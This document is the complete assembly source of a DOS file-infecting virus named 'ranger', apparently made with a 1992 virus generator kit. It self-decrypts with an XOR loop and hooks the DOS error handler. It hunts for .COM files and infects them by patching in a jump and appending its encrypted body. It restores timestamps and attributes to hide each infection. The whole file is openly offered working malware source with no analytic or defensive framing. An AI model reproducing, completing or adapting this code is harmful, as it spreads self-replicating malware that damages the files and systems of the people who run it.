📄 ranger.asm
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.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
decrypt_loop:
db 81h,35h ; xor word ptr [di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsw
movsb
mov byte ptr [bp+numinfec],1 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+com_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,2000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
int 21h
retn ; 100h is on stack
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
activate: ; ******************************
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
jmp exit_virus
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
virusname db '[ranger]',0
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
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